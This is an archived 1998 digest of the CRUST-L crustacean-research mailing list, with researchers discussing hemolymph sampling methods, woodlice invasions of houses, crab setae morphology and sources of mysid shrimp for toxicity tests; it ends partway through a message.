"shrimp virus" that causes computers to.... - -----Original Message----- From: Jeffrey Shields To: Bartlomiej Stanczyk Cc: crust-l@VIMS.EDU Date: Thursday, March 19, 1998 5:59 PM Subject: Re: CRUST-L: ATTENTION !!!! >> ********VIRUS ALERT********** > >All of these viruses are hoaxes... > >For more information about virus hoaxes, see http://www.kumite.com/myths > >Cheers, Jeff >=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= >To (un)subscribe to CRUST-L: >Send (UN)SUBSCRIBE CRUST-L as the message body to MAJORDOMO@VIMS.EDU. >To post to CRUST-L, send messages to CRUST-L@VIMS.EDU >Send HELP to MAJORDOMO@VIMS.EDU to get additional commands. >=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= To (un)subscribe to CRUST-L: Send (UN)SUBSCRIBE CRUST-L as the message body to MAJORDOMO@VIMS.EDU. To post to CRUST-L, send messages to CRUST-L@VIMS.EDU Send HELP to MAJORDOMO@VIMS.EDU to get additional commands. =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= ------------------------------ From: John Campbell McNamara Date: Fri, 20 Mar 1998 08:56:08 +0000 Subject: Re: CRUST-L: methods for obteining hemolymph Silvia, I presume these are fairly small crustaceans. You will probably need to aspirate the hemolymph sample directly from the cardiac region into a glass micropipette pulled out to a fairly fine tip. The pipette should contain water-equilibrated paraffin oil. Aspirate another drop of oil after the sample to avoid water loss by eveporation through the pipette tip. I presume you would then estimate osmolality from freezing point depression of the sample in a cryochamber of some sort. I hope this suggestion helps. regards, John McNamara. ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ John Campbell McNamara mailto:jcmcnama@ffclrp.usp.br Biologia, FFCLRP, USP, Ribeirão Preto 14040-901, SP, Brasil Tel +5516-602-3687 FAX +5516-633-3666 http://www.ffclrp.usp.br =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= To (un)subscribe to CRUST-L: Send (UN)SUBSCRIBE CRUST-L as the message body to MAJORDOMO@VIMS.EDU. To post to CRUST-L, send messages to CRUST-L@VIMS.EDU Send HELP to MAJORDOMO@VIMS.EDU to get additional commands. =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= ------------------------------ From: Jeffrey Shields Date: Fri, 20 Mar 1998 09:15:29 -0500 (EST) Subject: CRUST-L: woodlice invasions Please respond to Karel Wouters, and not to me. Thanks, Jeff - ---------- Forwarded message ---------- X-Sender: wouters@d5100.kbinirsnb.be X-Mailer: Windows Eudora Light Version 1.5.2 Mime-Version: 1.0 Content-Type: text/plain; charset="us-ascii" To: crust-l@vims.edu From: Karel Wouters Subject: woodlice invasions Dear colleagues, During the last couple of years I have been repeatedly contacted by people asking for information or help because their houses, buildings, appartments were invaded by woodlice (in most cases Porcellio scaber). These invasions were sometimes massive, with incredibly large numbers of woodlice being found inside houses. In some instances this situtation even led to juridical conflicts between owners and renters. Is there literature available on this subject? Why do woodlice invade houses? What can be done against these invasions? Etc. Thanks. Karel Wouters - --------------------------------------------------------------- Prof. Karel WOUTERS Telephone : + 32.2.62.74.336 Koninklijk Belgisch Instituut FAX (new): + 32.2.62.74.141 voor Natuurwetenschappen Department of Invertebrates Vautierstraat 29 B-1000 Brussels, Belgium e-mail : kwouters@kbinirsnb.be Note: new fax-number! - --------------------------------------------------------------- =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= To (un)subscribe to CRUST-L: Send (UN)SUBSCRIBE CRUST-L as the message body to MAJORDOMO@VIMS.EDU. To post to CRUST-L, send messages to CRUST-L@VIMS.EDU Send HELP to MAJORDOMO@VIMS.EDU to get additional commands. =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= ------------------------------ From: Chuck Booth Date: Fri, 20 Mar 1998 09:45:19 -0500 Subject: Re: CRUST-L: methods for obteining hemolymph The method for extracting depends somewhat on the organism. For most shrimps, crayfish,lobsters, and crabs you can insert a small-gauge hypodermic needle or capillary tube through an arthrodial membrane at the base of a walking leg to obtain venous (prebranchial) hemolymph. For shrimps and lobsters, you can also insert the needle or tube through the arthrodial membrane at the junction between the cephalothorax and abdomen (dorsal side) and obtain arterial (postbranchial) hemolymph from the pericardial cavity. Small (0.5-1 ml) glass syringes with snug-fitting plungers work best (Hamilton syringes designed for loading gas chromatographs, with short (2-3 cm) needles, work best of all). Disposable plastic syringes will also work, though I try to avoid them. If the hemolymph doesn't clot rapidly, it should flow into the capillary tube; gentle suction is needed with the syringe. Transfer the hemolymph to a small tube and chill on ice; if it clots in the syringe you may never get it clean! It is standard procedure to let the hemolymph clot for a few minutes, break the clot up with a glass rod or tissue homogenizer, centrifuge to separate the serum from the clot, then analyze the serum. Decapods have a hemolymph volume of about 30% of body weight, and can generally tolerate a loss of up to about 5% of their hemolymph over a short period; if there is not much 'bleeding' you may be able to sample repeatedly from individual animals (e.g, before and after a salinity change). Chuck Booth >Dear crusters: >I`m looking for some accesible metodologies to obtain crustacean hemolymph. >The main porpouse is to introduce physiology students in some techniques to >study marine organisms. The amount of hemolymph ranges from 0.5 - 2.5 >microliters in order to study osmolality variations. Could someone helpme?? > >Thanks in advance >Sincerely >Biol. Mar. Silvia Ram=EDrez Luna >Professor and reasercher in Marine Biology Bachelor >Universidad del Mar, >Puerto Angel, Oaxaca. >Mexico >Tel. y Fax: (958) 430-49 y 430-78 >e-mail: viarezna@angel.umar.mx > >----------------- >To (un)subscribe to CRUST-L: >Send (UN)SUBSCRIBE CRUST-L as the message body to MAJORDOMO@VIMS.EDU. >To post to CRUST-L, send messages to CRUST-L@VIMS.EDU >Send HELP to MAJORDOMO@VIMS.EDU to get additional commands. >----------------- - ------------------------------------ Dr. Charles E. Booth Department of Biology Eastern Connecticut State University 83 Windham St. Willimantic, CT 06226 U.S.A. Ph: 860-465-5260 =46ax: 860-465-5213 =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= To (un)subscribe to CRUST-L: Send (UN)SUBSCRIBE CRUST-L as the message body to MAJORDOMO@VIMS.EDU. To post to CRUST-L, send messages to CRUST-L@VIMS.EDU Send HELP to MAJORDOMO@VIMS.EDU to get additional commands. =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= ------------------------------ From: peter@VIMS.EDU (Peter van den Hurk) Date: Fri, 20 Mar 1998 12:05:59 -0500 Subject: Re: CRUST-L: woodlice invasions It was just the other day that I was told that toads are a very effective, non-poisonous treatment against roaches. Let go a few toads in your kitchen, and they will clean the house from roaches, and you never see the toads because they hide behind the fridge and under the sink. Maybe they also like woodlice? Cheers, Peter >Please respond to Karel Wouters, and not to me. >Thanks, >Jeff > >---------- Forwarded message ---------- >X-Sender: wouters@d5100.kbinirsnb.be >X-Mailer: Windows Eudora Light Version 1.5.2 >Mime-Version: 1.0 >Content-Type: text/plain; charset="us-ascii" >To: crust-l@vims.edu >From: Karel Wouters >Subject: woodlice invasions > >Dear colleagues, >During the last couple of years I have been repeatedly contacted by people >asking for information or help because their houses, buildings, appartments >were invaded by woodlice (in most cases Porcellio scaber). These invasions >were sometimes massive, with incredibly large numbers of woodlice being >found inside houses. In some instances this situtation even led to juridical >conflicts between owners and renters. > >Is there literature available on this subject? Why do woodlice invade >houses? What can be done against these invasions? Etc. >Thanks. >Karel Wouters > > >--------------------------------------------------------------- > Prof. Karel WOUTERS Telephone : + 32.2.62.74.336 > Koninklijk Belgisch Instituut FAX (new): + 32.2.62.74.141 > voor Natuurwetenschappen > Department of Invertebrates > Vautierstraat 29 > B-1000 Brussels, Belgium e-mail : kwouters@kbinirsnb.be > > Note: new fax-number! >--------------------------------------------------------------- > > >=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= >To (un)subscribe to CRUST-L: >Send (UN)SUBSCRIBE CRUST-L as the message body to MAJORDOMO@VIMS.EDU. >To post to CRUST-L, send messages to CRUST-L@VIMS.EDU >Send HELP to MAJORDOMO@VIMS.EDU to get additional commands. >=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= > > =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= To (un)subscribe to CRUST-L: Send (UN)SUBSCRIBE CRUST-L as the message body to MAJORDOMO@VIMS.EDU. To post to CRUST-L, send messages to CRUST-L@VIMS.EDU Send HELP to MAJORDOMO@VIMS.EDU to get additional commands. =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= ------------------------------ From: Henry-Michel Cauchie Date: Fri, 20 Mar 1998 18:47:25 +0100 Subject: CRUST-L: other question about woodlice invasion Dears Crusters, I observed in my house in Belgium woodlice invasions in spring and summer 1995 and 1996. There were woodlice everywhere! Under every flowerpot, in every tree hole and in the cellar: thousands of woodlice. Concurrently, we noticed that the woody window frames, which had been placed ten years before, were degradated in some places. We thought that it was caused by fungi but the holes were full of woodlice. So, my question is : does anyone know cases of woody structure damages in buildings caused by woodlice? Which are the feeding habits of these animals? Are they xylophageous and thus directly responsible for wood destruction? Or find we them there because there is moisture? Thank you very much in advance, Henry-Michel Cauchie CRP-CU CREBS 162a, avenue de la Faiencerie L-1511 LUXEMBOURG LUXEMBOURG Tel. (+352) 46.66.44.416. Fax. (+352) 46.66.44.413. =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= To (un)subscribe to CRUST-L: Send (UN)SUBSCRIBE CRUST-L as the message body to MAJORDOMO@VIMS.EDU. To post to CRUST-L, send messages to CRUST-L@VIMS.EDU Send HELP to MAJORDOMO@VIMS.EDU to get additional commands. =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= ------------------------------ From: John Campbell McNamara Date: Fri, 20 Mar 1998 15:17:51 +0000 Subject: Re: CRUST-L: methods for obteining hemolymph Silvia, I may have misunderstood your original post, but I think you mentioned sample volumes of between 0.5 and 2.5 microliters. It would be very difficult to obtain this volume using a hypodermic needle and syringe where the void volume (volume which cannot be expelled by the plunger) is about 1.5 microlitres for a 3 cm x 0.3 mm internal diamter needle. Of course, if you meant a sample volume of 0.5-2.5 milliliters then following Chuck's suggestions would be the best way. John McNamara ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ John Campbell McNamara mailto:jcmcnama@ffclrp.usp.br Biologia, FFCLRP, USP, Ribeirão Preto 14040-901, SP, Brasil Tel +5516-602-3687 FAX +5516-633-3666 http://www.ffclrp.usp.br =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= To (un)subscribe to CRUST-L: Send (UN)SUBSCRIBE CRUST-L as the message body to MAJORDOMO@VIMS.EDU. To post to CRUST-L, send messages to CRUST-L@VIMS.EDU Send HELP to MAJORDOMO@VIMS.EDU to get additional commands. =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= ------------------------------ From: oshel@shout.net (Philip Oshel) Date: Fri, 20 Mar 1998 14:35:20 -0600 Subject: CRUST-L: setae details Alan, Have you checked "The Microscopic Anatomy of Invertebrates", the Decapod volume mumbletymumble (sorry, all my refs are buried in boxes), and the Insect volume 11 (3 parts). >From your description and the image on your web page, I suspect the reviewer is right, the core is the setal lumen. Not to say you're not right, the setal lumen could be modified into an inner core, etc. But: - -I wouldn't use the term "plumules" in your description of the structures. This is already used to describe fine more-or-less planar exterior branching structures on setae. - -What does the reviewer mean by '"the dendritic canals that extend laterally from the central setal dendrite?"'? This to me refers to neural dendrites, most likely sensory. I do not think such neural structures could be seen in the light microscopic image on your web page, but the inner structures are obviously visible. Is "dendritic" being used in the sense of "tree-like"? If so, it should be avoided, because of the confusion will neural structures. And I would predict that these are sensory setae, and have sensory dendrites within them. I can't provide any references off hand (but then I don't have to, thanks to Pierre!), but chaetotaxy is well-developed in mites and insects, so you might find some information there. If you don't mind trying to convince people that it's relevant to porcelin crabs. The only way to really resolve this issue is to section the setae and examine their structure. This will not be easy, if they are robust, but it is possible (use a hard resin and a diamond knife). The "quick-and-dirty" try is to prepare the appendage for SEM. When it's dry, use a razor blade to fracture the setae, some proximally, some distally, then mount and coat for SEM. If properly fixed (fix as if you were doing TEM), any sensory dendrites, etc. ought to be visible. (The fracturing might work better after the final 100% EtOH if done in LN2.) Phil (There are porcelin crabs and stone crabs, are there stoneware crabs?) >In my work on porcelain crabs, I've come across a few species with setae >whose peculiarities are visible without an SEM. The setae have distinct >proximal and distal regions, and a distinct internal core and external >sheath; the internal core penetrates the external sheath distally; in one >species, the distal half is flattened, and there are paired fine "plumules" >radiating from the internal core. The setae are rather stout, and >transparent (else, of course, I wouldn't be able to see much of the >above!). A reviewer of my MS, in which I discuss these setae, asked if the >inner core isn't "just the lumen of the shaft within the seta," and if the >"plumules" aren't just "the dendritic canals that extend laterally from the >central setal dendrite?" I'm afraid my morphological expertise, such as it >is, does not cover the internal morphology of setae! I will say that I >don't see any of this internal structure in the thick bristles Does anyone >out there have any information about this, including references? By the >way, you can take a look at the setae at my web site (address below, click >on the "Odd setae" button). > >Cheers, and thanks in advance! > >Alan > >------------------------------------ > >Alan W. Harvey (aharvey@amnh.org) >Assistant Curator of Invertebrates >American Museum of Natural History >Central Park West at 79th Street >New York, NY 10024 >(212) 769-5638; fax (212) 769-5783 >http://research.amnh.org/~aharvey > > >=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= >To (un)subscribe to CRUST-L: >Send (UN)SUBSCRIBE CRUST-L as the message body to MAJORDOMO@VIMS.EDU. >To post to CRUST-L, send messages to CRUST-L@VIMS.EDU >Send HELP to MAJORDOMO@VIMS.EDU to get additional commands. >=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= > }}}}}}}}}}}}}}}}}}}}}}}}}}{{{{{{{{{{{{{{{{{{{{{{{{{{ Philip Oshel PO Box 5037 Station A Champaign, IL 61825-5037 (217) 355-1143 oshel@shout.net or poshel@hotmail.com ***** looking for a job ***** =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= To (un)subscribe to CRUST-L: Send (UN)SUBSCRIBE CRUST-L as the message body to MAJORDOMO@VIMS.EDU. To post to CRUST-L, send messages to CRUST-L@VIMS.EDU Send HELP to MAJORDOMO@VIMS.EDU to get additional commands. =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= ------------------------------ From: Chuck Booth Date: Fri, 20 Mar 1998 15:53:46 -0500 Subject: CRUST-L: hemolymph sampling methods Silvia, After reading John's message I realize that I misread the volumes you want to collect. I agree with John that a fine capillary tube with paraffin oil is the way to collect microliter volumes of hemolymph; my method works for reasonably well (depending on your syringe) for volumes down to a few hundred microliters. If you plan to have students collect 0.5-2.5 microliters and analyze it by freezing point osmometry, I wish you luck; in my experience, handling and accurately analyzing such small volumes is not easy. Chuck - ------------------------------------ Dr. Charles E. Booth Department of Biology Eastern Connecticut State University 83 Windham St. Willimantic, CT 06226 U.S.A. Ph: 860-465-5260 Fax: 860-465-5213 =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= To (un)subscribe to CRUST-L: Send (UN)SUBSCRIBE CRUST-L as the message body to MAJORDOMO@VIMS.EDU. To post to CRUST-L, send messages to CRUST-L@VIMS.EDU Send HELP to MAJORDOMO@VIMS.EDU to get additional commands. =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= ------------------------------ From: Brent Newman zool Date: Sun, 22 Mar 1998 12:37:59 +0000 (SAST) Subject: CRUST-L: Katrin Christensen email address Members Does any one know the address of Katrin Christensen from Otago university. Thanks Brent =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= To (un)subscribe to CRUST-L: Send (UN)SUBSCRIBE CRUST-L as the message body to MAJORDOMO@VIMS.EDU. To post to CRUST-L, send messages to CRUST-L@VIMS.EDU Send HELP to MAJORDOMO@VIMS.EDU to get additional commands. =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= ------------------------------ From: "Michael Gates" Date: Sun, 22 Mar 1998 14:51:38 -0500 Subject: CRUST-L: Mysis vs Mysid I am looking for a good description of mysis and mysid shrimp. Michael Allen Gates {MichaelGates@bigfoot.com} - ---------------------------------------------------------------//----------- - -- =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= To (un)subscribe to CRUST-L: Send (UN)SUBSCRIBE CRUST-L as the message body to MAJORDOMO@VIMS.EDU. To post to CRUST-L, send messages to CRUST-L@VIMS.EDU Send HELP to MAJORDOMO@VIMS.EDU to get additional commands. =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= ------------------------------ End of crust-l-digest V1 #127 ***************************** From owner-crust-l Thu Mar 26 19:55:19 1998 Received: (from majord@localhost) by back.vims.edu (8.6.12/) id TAA28086 for crust-l-digest-outgoing; Thu, 26 Mar 1998 19:54:38 -0500 Date: Thu, 26 Mar 1998 19:54:38 -0500 Message-Id: <199803270054.TAA28086@back.vims.edu> From: owner-crust-l-digest To: crust-l-digest@vims.edu Subject: crust-l-digest V1 #128 Reply-To: crust-l Errors-To: owner-crust-l-digest Precedence: bulk Status: RO X-Status: X-Keywords: X-UID: 2 crust-l-digest Thursday, 26 March 1998 Volume 01 : Number 128 CRUST-L: RE: woodlice invasions CRUST-L: Alpheus heterochelis [none] CRUST-L: Mysid shrimp Re: CRUST-L: Mysid shrimp CRUST-L: References on Gammarus, mysis & mysid. Re: CRUST-L: Mysid shrimp CRUST-L: Mysid Shrimp CRUST-L: Mysid Shrimp CRUST-L: free publns CRUST-L: FW Shrimps CRUST-L: Modal Progression Refs. Re: CRUST-L: FW Shrimps CRUST-L: hermaphroditic shrimps CRUST-L: Re: FW Shrimp (fwd) CRUST-L: lack of mail CRUST-L: Albuneid nomenclature ---------------------------------------------------------------------- From: "Andreas Leistikow" Date: Mon, 23 Mar 1998 09:10:25 GMT+0100 Subject: CRUST-L: RE: woodlice invasions Dear Henry-Michel, Karel and others, a house full of woodlice is not a nice event in the eyes of most of the people, but I think it is a typical phenomenon in Central European summers. They are really no danger to food (if it is well-stored) or wood. The other way round, they are even helpers to keep your living conditions sane. These fine small critters forage on the bacteria and fungi living in decaying matter. So they will diminish the fungi pollution of cellars and window frames. As our European species are not too well adapted to dryness, you can find them in moist conditions and in warm summers they would try to hide in every shade they can find for not to dry out (and as there are fungi in the holes of your window frames you can be sure it is a moist place!). The only way to get rid of them without exchanging the invaders as promised by Peter or danger for your health is to minimize room moisture and possible hides, then they will leave your house (or do not so and simply die). But at least when the winter comes most of them will die naturally and you can take a broom and they are gone. Let's look forward to the summer coming soon. Greetings, Andreas - --------------------------------------------------------------------- Andreas Leistikow Universit„t Bielefeld Fakult„t fr Biologie Abteilung fr Morphologie und Systematik der Tiere Morgenbreede 45 D-33615 BIELEFELD / Germany e-mail: leiste@biologie.uni-bielefeld.de =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= To (un)subscribe to CRUST-L: Send (UN)SUBSCRIBE CRUST-L as the message body to MAJORDOMO@VIMS.EDU. To post to CRUST-L, send messages to CRUST-L@VIMS.EDU Send HELP to MAJORDOMO@VIMS.EDU to get additional commands. =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= ------------------------------ From: Jeffrey Shields Date: Mon, 23 Mar 1998 09:03:09 -0500 (EST) Subject: CRUST-L: Alpheus heterochelis Please respond to James Hensinger and not to me. Thanks, Jeff - ---------- Forwarded message ---------- To: crust-l@vims.edu From: James Hensinger Subject: Alpheus heterochelis Mime-Version: 1.0 Content-Type: text/plain; charset="us-ascii" Hello, Can anyone help to find a source for this species? snapping (pistol) shrimp Alpheus heterochelis Regards, James Hensinger Ascot International http://www.aquafind.com =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= To (un)subscribe to CRUST-L: Send (UN)SUBSCRIBE CRUST-L as the message body to MAJORDOMO@VIMS.EDU. To post to CRUST-L, send messages to CRUST-L@VIMS.EDU Send HELP to MAJORDOMO@VIMS.EDU to get additional commands. =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= ------------------------------ From: Jeffrey Shields Date: Mon, 23 Mar 1998 09:05:04 -0500 (EST) Subject: [none] Please respond to Brent Newman and not to me. Thanks, Jeff - ---------- Forwarded message ---------- From: Brent Newman zool To: crust-l@vims.edu Subject: Apologies: Katrin Berkenbusch Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Fellow Members I previously asked for the email address of Katrin Christensen of Otago University. It should have been Katrin Berkenbusch. Any help will be appreciated. Brent =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= To (un)subscribe to CRUST-L: Send (UN)SUBSCRIBE CRUST-L as the message body to MAJORDOMO@VIMS.EDU. To post to CRUST-L, send messages to CRUST-L@VIMS.EDU Send HELP to MAJORDOMO@VIMS.EDU to get additional commands. =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= ------------------------------ From: ELIZABETH.MICHELLE.MOSER@solutia.com Date: 23 Mar 1998 13:33:30 -0600 Subject: CRUST-L: Mysid shrimp Hello, My name is Michelle Moser and I work for Solutia, Inc in St. Louis, MO. We are trying to perform a chronic toxicity test with a marine invertebrate. It has been suggested that we use mysid shrimp. Does anyone know of a supplier? Can anyone supply information on their life-cycle and the best way to culture them. If you could supply information, it would be greatly appreciated. Thanks, Michelle =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= To (un)subscribe to CRUST-L: Send (UN)SUBSCRIBE CRUST-L as the message body to MAJORDOMO@VIMS.EDU. To post to CRUST-L, send messages to CRUST-L@VIMS.EDU Send HELP to MAJORDOMO@VIMS.EDU to get additional commands. =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= ------------------------------ From: "Vu Do Quynh" Date: Tue, 24 Mar 1998 11:35:14 +0700 Subject: Re: CRUST-L: Mysid shrimp > From: ELIZABETH.MICHELLE.MOSER@solutia.com > To: crust-l@VIMS.EDU > Subject: CRUST-L: Mysid shrimp > Date: 23 Mar 1998 13:33:30 -0600 > Hello, My name is Michelle Moser and I work for Solutia, Inc in St. > Louis, MO. We are trying to perform a chronic toxicity test with a > marine invertebrate. It has been suggested that we use mysid shrimp. > Does anyone know of a supplier? Can anyone supply information on > their life-cycle and the best way to culture them. If you could > supply information, it would be greatly appreciated. > > Thanks, > Michelle I know that Mesopodopsis bahia has been routinely cultured at the Lab of Aquaculture and Artemia Reference Center for various nutrition experiments. I think that they have discontinued that culture by now but they mat give you some info, perhaps. There has also been some litterature about that but I do not have the references under the hand. The director of the lab is Prof Patrick Sorgeloos (patrick.sorgeloos@rug.ac.be) BTW, Artemia has also been referenced as a potential candidate for biotoxicity tests and is much easier to culture in hte Lab than mysid shrimps. Best regards Vu Do Quynh Director SARDI-CTU Email: vdq66qs@hn.vnn.vn =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= To (un)subscribe to CRUST-L: Send (UN)SUBSCRIBE CRUST-L as the message body to MAJORDOMO@VIMS.EDU. To post to CRUST-L, send messages to CRUST-L@VIMS.EDU Send HELP to MAJORDOMO@VIMS.EDU to get additional commands. =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= ------------------------------ From: "Michael Gates" Date: Mon, 23 Mar 1998 23:50:02 -0500 Subject: CRUST-L: References on Gammarus, mysis & mysid. Does anyone know of some good books for doing research on mysid, mysis, and gammarus, and where to obtain they references? Michael Allen Gates {MichaelGates@bigfoot.com} - -- =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= To (un)subscribe to CRUST-L: Send (UN)SUBSCRIBE CRUST-L as the message body to MAJORDOMO@VIMS.EDU. To post to CRUST-L, send messages to CRUST-L@VIMS.EDU Send HELP to MAJORDOMO@VIMS.EDU to get additional commands. =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= ------------------------------ From: John Campbell McNamara Date: Tue, 24 Mar 1998 08:23:38 +0000 Subject: Re: CRUST-L: Mysid shrimp Michelle, I suggest you contact Dr Marion Nipper of NIWA, in Hamilton, New Zealand. She has developed several mysid toxicity assays. I am sure they are in the pertinent literature; try a name search. I am sorry but I don't have her e-mail right now although I will try and find it for you. Good luck, John McNamara ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ John Campbell McNamara mailto:jcmcnama@ffclrp.usp.br Biologia, FFCLRP, USP, Ribeirão Preto 14040-901, SP, Brasil Tel +5516-602-3687 FAX +5516-633-3666 http://www.ffclrp.usp.br =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= To (un)subscribe to CRUST-L: Send (UN)SUBSCRIBE CRUST-L as the message body to MAJORDOMO@VIMS.EDU. To post to CRUST-L, send messages to CRUST-L@VIMS.EDU Send HELP to MAJORDOMO@VIMS.EDU to get additional commands. =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= ------------------------------ From: James Hensinger Date: Tue, 24 Mar 1998 15:34:51 -0500 Subject: CRUST-L: Mysid Shrimp There have been several requests for Mysid so I will put this source out to the list. From: ELIZABETH.MICHELLE.MOSER@solutia.com To: crust-l@vims.edu Subject: CRUST-L: Mysid shrimp Date: 23 Mar 1998 13:33:30 -0600 Sender: owner-crust-l@vims.edu Reply-To: ELIZABETH.MICHELLE.MOSER@solutia.com Hello, My name is Michelle Moser and I work for Solutia, Inc in St. Louis, MO. We are trying to perform a chronic toxicity test with a marine invertebrate. It has been suggested that we use mysid shrimp. Does anyone know of a supplier? Can anyone supply information on their life-cycle and the best way to culture them. If you could supply information, it would be greatly appreciated. Thanks, Michelle =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= These people have freshwater rotifers as well Aquatic Research Organisims P.O. Box 1271 One Lafayette Road Hampton, NH 03842, U.S.A. Tel: (603) 926-1650 or 1-800-927-1650 Fax: (603) 926-5278 Regards, James Hensinger Ascot International http://www.aquafind.com =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= To (un)subscribe to CRUST-L: Send (UN)SUBSCRIBE CRUST-L as the message body to MAJORDOMO@VIMS.EDU. To post to CRUST-L, send messages to CRUST-L@VIMS.EDU Send HELP to MAJORDOMO@VIMS.EDU to get additional commands. =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= ------------------------------ From: James Hensinger Date: Tue, 24 Mar 1998 09:30:22 -0500 Subject: CRUST-L: Mysid Shrimp There have been several requests for Mysid so I will put this source out to the list. From: ELIZABETH.MICHELLE.MOSER@solutia.com To: crust-l@vims.edu Subject: CRUST-L: Mysid shrimp Date: 23 Mar 